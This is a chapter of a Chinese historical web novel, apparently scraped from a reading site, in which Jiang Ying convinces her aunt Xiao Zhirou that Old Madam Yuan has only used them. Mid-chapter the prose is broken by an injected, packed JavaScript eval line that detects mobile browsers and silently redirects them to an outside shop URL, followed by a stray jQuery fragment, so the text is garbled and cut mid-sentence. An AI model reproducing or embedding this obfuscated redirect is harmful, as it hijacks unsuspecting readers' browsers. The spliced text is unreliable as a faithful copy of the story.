姨母的声音像是浸了蜜糖的温水,软软地淌过来,一句一句,小心翼翼地围着她转——那些哄劝的话里,藏着一个长辈全部的耐心与爱意。


    姜璎微微抿嘴,把脸扭到一边。


    “我不觉得有什么误会。一个连自己嫡亲孙女都能加害的人,难道还能指望她有良知不成?”


    “大嫂嫁进赵家,我也嫁进赵家,我还没有大嫂同她那般的血缘情分。”


    姜璎皱了皱眉,神情低落痛苦,“姨母,我真的没办法不提心吊胆,我很怕,我怕不知道什么时候碍了她的眼,挡了她的道,被她一脚踹开……”


    “不会的!”萧止柔语气急促,呼吸紊乱,她把姜璎紧紧抱在怀里,喃喃道,“姨母不会让任何人伤害你,老夫人,就算是老夫人也不行。”


    “可,明枪易躲,暗箭难防。”姜璎幽幽道,“姨母做过袁老夫人手中的刀,焉知不会有其他人,像姨母先前那样,心甘情愿被袁老夫人操控指使?”


    这话说到了点子上。


    袁老夫人毕竟比他们多活了几十年,吃过的盐,比他们走过的路还要多。想当初她带来的陪嫁,丰厚得让人咂舌,就算姜璎杀了她院里十二个下人,她也依旧还有其他人手。


    儿子儿媳。


    表妹表弟。


    外甥外甥女。


    血缘像是一张巨大的蛛网,把许多看似不相关的人,紧密相连在一块。


    天水姜氏本来也应该是这张蛛网上的一员。


    大家齐心协力,悄无声息,用家族势力将蛛网越织越大,越织越密。


    直到铺天盖地。


    说不准什么时候,就可以达成一致的目的。


    偏偏——最乖顺的那一枚棋子生出了反骨。姜璎面软心硬,从袁老夫人无视她的想法,企图将她和袁遗凑到一块时,就不动声色疏离了这位看似和蔼可亲的长辈。


    寄人篱下的那段岁月,让姜璎拥有了旁人无法企及的感知能力,她能够敏锐察觉到善意与恶意,企图和算计。


    袁老夫人慈爱的虚假外表下,藏着待价而沽的盘算。


    在日复一日的驯化和调教中,前朝的**公主,成为了她手中最趁手的一把刀。


    她用这把刀,清理门户——王氏,一个违逆她精神传承的叛徒!


    “姨母,你知道,我为什么在寿宴之后,淡了同袁老夫人亲近的心吗?”姜璎轻声道,“实在是阿兄的境况,令人齿寒啊。”


    袁遗,汝南袁氏最后的嫡系。


    按理来说,应该是宝贝疙瘩一样的存在。


    可袁老夫人都做了什么呢?


    她为这个孩子取名遗,小字阿祭。


    “名即是命,命即是名,但凡疼爱孩子的长辈,有哪个会想出这种名字?”


    遗者,失也,落也,忘也。


    就算名可以牵强解释为袁遗是被遗留下的最后希望,那么小字呢?


    “阿祭,阿祭,她这是要阿兄此生永远记得那些死去的人!以及,险些灭族的仇恨!”


    姜璎定定地看着萧止柔,她愣怔原地,下意识松开了手。


    姜璎道:“姨母,你曾说过,赵堰不喜赵咎,不论是平日的态度,还是名字中的隐喻,都可以看出端倪。”


    “那么袁遗呢?”


    “他是阿舅的儿子,汝南袁氏唯一的嫡系血脉。”


    “从出生起便没了父母,自幼体弱多病,汤药不离口。我们俩,家世相当,境遇相同,没有任何区别,为什么姨母不逼着我和离改嫁,为什么不命令浓浓刺杀陛下,而袁老夫人却要阿兄时刻谨记仇恨?就因为他是郎君,我是小娘子吗?”


    “不。”


    “是因为你爱我,你舍不得我受委屈。”


    “而袁老夫人不爱阿兄。”


    姜璎望着面前的人,轻声道:“如果阿舅还活着,他会希望自己的孩子被人取这样的名字吗?”


    萧止柔像是被一道无声的惊雷劈中,整个人迅速凝固成了石像,脸上所有的表情都被炸得一干二净,只剩下空洞洞的呆愕。


    以前从未细想过的东西,在这一刻,竟无比清晰地摊平浮现眼前。


    比利用、算计,更让人难以接受的,是——她从未爱过我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237550|173897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们。


    哪怕一丁点儿,也没有。


    萧止柔呼吸急促,身体微微颤抖,她竭力去寻找袁老夫人疼爱他们的证据,想要以此安慰自己,她只是太苦了,她想要为萧家袁家报仇,就算不折手段,那也是情有可原!


    这一回,换成姜璎抱住萧止柔。


    她低声道:“姨母,姨父对你,才是毫无保留、真心实意的爱。”


    你拥有长姐的疼爱,夫君的钟情,表兄兼姐夫的保护。


    你没必要,也不应该为了那一点掺杂虚情假意的爱,让自己深陷泥潭。


    萧止柔痛哭了一场。


    姜璎给她擦眼泪。


    袁老夫人之于姨母,就像曾经刘氏之于她。


    她可以走出来,姨母同样也可以。


    萧止柔轻轻止住泣音,抓住姜璎的手,道:“我去找郗老夫人,沈老夫人……我会劝说她们,不要一错再错。”


    郗老夫人是袁皇后的表妹,后面嫁到吴郡陆氏,她是萧止柔的表姨母,也是陆宣的母亲,萧止柔的婆母。


    沈老夫人是汝南袁氏三房嫡女,随母姓,袁皇后的堂妹,萧止柔的从母。


    还有一些姻亲女眷长辈。


    萧止柔这些年一直和她们保持联系。


    姜璎食指微微蜷曲,她摇头道:“我不放心你出门。”


    萧止柔连忙道:“我有你阿娘留给我的死士,我先回吴郡一趟,说服婆母,再请婆母出面,说动从母。”


    “阿池,你跟陛下说,王五郎不干净,他外放丹阳郡郡守,丹阳郡位处扬州,适合养兵,不仅和朝中武将私下密切往来,还与彭城刘氏交好,还有……”


    萧止柔絮絮叨叨,把自己所掌握的消息全都告诉姜璎。


    她知道的不多,也不是特别全面。


    毕竟袁老夫人不会全心全意相信她。


    姜璎见萧止柔决心已定,想了想道:“不急一时,先让姨父跟郗老夫人通个气儿,你再借回去侍疾之由,离开盛京。”


    “对了,多带些家丁部曲。”


    她要进宫一趟。


    最好先处理了王五郎。